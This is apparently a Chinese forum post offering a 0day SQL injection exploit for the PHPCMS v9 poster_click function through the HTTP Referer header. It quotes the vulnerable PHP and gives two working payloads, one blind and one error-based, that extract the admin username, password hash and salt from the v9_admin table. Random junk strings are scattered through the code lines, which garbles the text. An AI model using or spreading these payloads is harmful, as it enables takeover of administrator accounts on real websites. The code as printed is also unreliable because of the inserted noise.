phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
9 B0 J4 ~3 Z2 [. h5 q
$ c( o. L: J) p问题函数\phpcms\modules\poster\index.php

" ?  b" v" u7 p2 j* a- n$ epublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
- ~( p7 B) r. p0 C- O! z( r4 R) qif (!is_array($r) && empty($r)) return false;
9 I: j! A7 ^: D6 O3 x( Z$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
3 e0 R# ?2 r; i! i. J# Q) L/ l$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
/ W5 k, I: D, C5 Y# e( d" H$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
' U7 b3 W& s2 v$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
0 K  i( d0 ~- N! S  d} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
# O0 q0 r) d' P$ ?  ^}

; z6 {, `( _1 ]
! v- Z& `% Q& k8 B
' t$ Z' H; U) J利用方式：

1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

" A& D: C' G9 e- j+ M/ A通过返回页面，正常与否一个个猜解密码字段。
! m* @) e2 l2 A& g" y7 j
* k, F0 C$ q$ T  D! X& ]* B; O8 i2、代码是花开写的，随手附上了：

; m9 F; A3 x# f- D% m3 Y0 L1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
